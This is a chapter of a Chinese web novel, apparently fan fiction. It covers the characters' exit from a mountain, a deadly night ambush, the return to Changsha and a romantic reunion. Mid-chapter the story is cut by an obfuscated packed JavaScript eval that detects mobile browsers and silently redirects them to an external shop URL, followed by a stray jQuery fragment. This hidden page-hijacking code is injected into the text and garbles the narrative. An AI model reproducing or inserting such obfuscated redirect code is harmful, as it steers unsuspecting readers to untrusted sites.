“夫人,到底怎么了?”陈皮看见半夏又哭了,心中不免有些暴躁,从昨天他醒过来之后,半夏就是一副心事重重的样子,而在他们昏迷时,半夏和那个巴代雄谈过话。
半夏昨晚上明显不想说,陈皮就逼着自己闭了嘴没去逼问。
可现在人都哭了,他却不知道是什么原因,这让他觉得自己很无能。
“对不起,夫君,让你担心了。”半夏凑过去蹭蹭陈皮,“只是担心那些神仙草,这么辛苦才找到,希望它们能开花。”
陈皮没想到会是这个原因,但还是安慰道,“一定可以开花的。”
毕竟数量有那么多。
“嗯,一定会的。”半夏笑着道。
一行人收拾妥当后出了吊脚楼,巴代雄的人早已在外面等着了。
半夏上去和他用苗语交谈了两句,然后回头对其他人道,“他是巴代雄派来带我们出去的向导,接下来的路我们跟着他走就好。
有了寨子里的人带路,出去的路简直比他们想象中简单了不少。
虽然一样是崎岖的山路,依旧有很多机关,但有了一个领路人,提前能告知他们哪里有机关,该如何躲避,起码没有像进山时那么惊险了。
一行人走了五个时辰,天色逐渐黑了下来。
“今天先在这里住一个晚上,明天再继续吧。”领路人对半夏道。
“我们还要走多久才能出去?”半夏问领路人。
“和之前差不多。”领路人道。
还得再走五个时辰,那确实住一个晚上再赶路比较好。
半夏扭头传达了领路人的意思,一群人原地开始安营扎寨。
等帐篷扎好后,半夏原本想去问领路人要不要来帐篷里将就一下,然后就看到对方躺在一棵参天大树上闭着眼睛,看上去平时没少树上睡觉。
于是半夏打消了原本的念头。
半夏顺着几个帐篷撒药粉,张启山那边点了几个士兵轮流守夜,一行人走了一天路,很快就睡下了。
睡的迷迷糊糊间,半夏感觉原本搂着自己的陈皮突然起了身,她猛地惊醒,扒开帐篷,就看到一群人和另一群人打成了一团,陈皮自然也在其中。
包括原本在树上的领路人也和他们一起,而令一波人蒙着面,尚不清楚来头
应该是因为近身战的原因,陈皮没有用九爪钩,而是拿着一把匕首。
这还是半夏第一次这么近距离看陈皮出手,之前第一次在李府,因为在施针,她并没有看见过程,之前在寨子里,忙着劝架,也没注意仔细看,而且当时她喊完两边人马几乎是立马就停手了。
陈皮出刀很快,每次都是快准狠地朝人耳朵插,一刀一个,稍微厉害点捅不到耳朵的就先捅膝盖,限制行动后再捅耳朵。
眼见落了下风,为首那人掏出一把手枪,朝着几人开枪。
“小心——”半夏惊呼。
陈皮距离那人的距离最近,早在他准备掏枪时陈皮就已经提高了警惕,眼下子弹射来,他的腰呈一个普通人几乎不可能完成的姿势翻折下去,躲过了那颗子弹。
趁着弯腰的动作,一颗铁弹子朝着那人脑门射去,下一秒,枪掉在了地上。
战斗很快结束,地上死了一片人。
“这是怎么回事?”半夏走上前去,询问领路人。
“这已经是这个月第四波人了。”领路人道,“不知道哪里来的传闻,说这里有古墓,这些人似乎都是来找墓的。”
“你们不用加强防御吗?”半夏忍不住问道。
领路人哈哈大笑两声,“几乎没有外来人能独自在这里活过五天,如果中途没有遇上我们,几天后他们也会死的。”
回想起那只古怪的飞螭,有毒的喝水,一路上遇到的各种毒物,迷宫一样复杂的地形,半夏觉得这确实不是他们盲目自信。
哪怕是他们这群人,半夏也没把握能平安走出这座山。
虽然这群人一个二个身手确实不凡,可有些东西已经无法用科学来解释了,毒物他们或许不怕,可如果一直遇到鬼打墙一样的迷阵,将他们困在这里,直到他们身上的水粮消耗完,那还是有可能会死。
“真的有古墓吗?”陈皮问。
“只有历代巴代雄的墓。”领路人咧嘴一笑,“没有活人能进得去,就连巴代雄都只有死了才能进。”
众人忍不住齐齐打了个寒颤。
领路人重新回到了树上闭上眼睛,张启山低头查看入侵者的身份。
“八爷算出什么了?”二月红笑着问齐铁嘴,刚才那个领路人说完,他就看到齐铁嘴在掐指。
“算出他没骗人,那墓凶得很,去了必死无疑。”齐铁嘴脸色惨白。
“放心,我们不去。”二月红笑着拍了拍齐铁嘴的肩膀,他下斗是为了钱,明知去了会死,那没必要作死,毕竟现在对他来说,什么都没有给丫头治病重要。
“我也不感兴趣。”张启山道,他对斗里的东西并不感兴趣。
“好不容易找到神仙草,现在的当务之急自然是赶紧回长沙。”半夏道,她才不管什么墓不墓的,什么事都没让神仙草开花更重要。
对上齐铁嘴的目光,陈皮呲牙,“看我干嘛?”
他夫人和师父都表态了,哪怕确实有些好奇,肯定也是不能去的,更何况师娘还需要神仙草。
半夏拉住陈皮的手,“回去休息吧,明天还要赶路。”
回到帐篷里,半夏一下把陈皮抱进怀里,伸手摸过他紧实的腹肌,然后捏了捏他的腰。
好神奇,到底怎么能折成刚才那样的。
之前在砰砰砰时半夏就发现陈皮的腰很软了,但没想到能软成这样。
这也太神奇了,这小腰怎么长的?
“夫人……”陈皮被摸的哼哼,“痒。”
半夏被可爱的简直有些心猿意马,捏住人下巴狠狠亲了好一会儿,才恶狠狠警告道,“别招我。”
“?”陈皮简直想问到底是谁先招的谁?
次日清晨,一行人再次出发,又走了五个时辰,这一路上遇到了无数机关陷阱,不过由于领路人的提前提醒,也算是有惊无险。
“前面就是出口了。”领路人指了指不远处,“我就送到这里了。”
“多谢你了。”半夏道。
走出去看到熟悉景象的那一刻,齐铁嘴简直腿软的想跪在地上,这可是出来了,那一路上的机关实在是把他吓得不行,真不知道这群人怎么想出来的。
“我马呢?”看着光秃秃的树,齐铁嘴忍不住道,“我们那么多匹马呢?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932733|213652||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
原本他们进山前拴在树上的马此刻是一匹也没有了。
“去前面住一晚,然后走路出去吧。”没了马,张启山只能道。
一行人又回到了进山前的扎营点。
考虑到最近外来人比较多,张启山多安排了几波人轮流守夜,这一晚倒也相安无事。
一行人走了很久才走出去,然后又坐船回长沙。
折腾了半个月,一群人风尘仆仆,终于是踏上了长沙的土地。
回到家,半夏去给丫头号完脉调整了下药方,就马不停蹄开始移栽神仙草,虽说用了特殊保存方法,但这一路上实在耽误太久,她难免有些担心。
接下来的一个礼拜,半夏都在忙着照顾神仙草,因为太过于投入,有点冷落了陈皮。
陈皮也担心师娘身体,不好打扰半夏。
但之前两个人一直都腻在一起没怎么分开,现在半夏两眼一睁就是直奔花圃,晚上睡觉也只是累的抱着他敷衍亲两口。
所以虽然道理陈皮都懂,但这也不妨碍他不爽。
他不爽了就只能去让别人更不爽。
一时间来找二月红告状的人数翻了个倍。
二月红也来这边看过几次,知道是怎么回事,又不好责怪陈皮。
他徒弟也只是因为受了夫人冷落有点闹脾气,这不是很正常吗?
就在隔壁街的狗都被陈皮踹了不知道多少次后,神仙草的情况终于稳定了下来。
接下来只要按时浇水,基本上就不会有问题了。
至于能不能开花,那就是非人力所能及的事了。
一切只能交给天意。
从之前那种狂热状态下脱离出来,半夏才后知后觉这段时间都没怎么好好和陈皮说说话。
半夏洗了个澡换了身衣服,又亲自下厨做了一桌子菜,然后开始眼巴巴等陈皮回来。
门被推开后,半夏立马站起来朝着陈皮扑了过去,“夫君~”
陈皮冷哼道,“终于想起你还有个夫君了?”
“夫君~对不起嘛,我不是故意的。”半夏笑着凑过去亲了亲陈皮,“我今天做了你喜欢吃的菜,快来吃饭,晚上我伺候夫君洗澡,一定好好补偿夫君。”
本来半夏也是为了师娘才这么劳心费神,陈皮也不可能真的和她生气,所以被半夏哄了两句之后他就跟着半夏坐到了餐桌前,两个人甜甜蜜蜜开始吃饭。
吃完饭,在院子里一边散步一边聊天,夜深渐深后,半夏吩咐春桃去打了桶热水。
“下去吧,不用守在外面。”
吩咐完下人,等她们走后,半夏把陈皮拉进桶里,帮他洗澡。
这段时间陈皮应该也挺忙,感觉身上的肌肉都紧实不少,半夏摸的那叫个爱不释手。
洗完澡,两个人抱着倒在了床上。
很久不曾如此这般,两人都有些急切。
……
……
“老婆,舒服吗?”半夏笑着亲了陈皮一下,问道。
“……嗯。”
“我好喜欢你啊,宝宝。”
“我也是。”
“你腰真的好软,宝宝好棒……”
“……”
最后精疲力尽的两个人倒头就睡,一觉睡到了日晒三竿。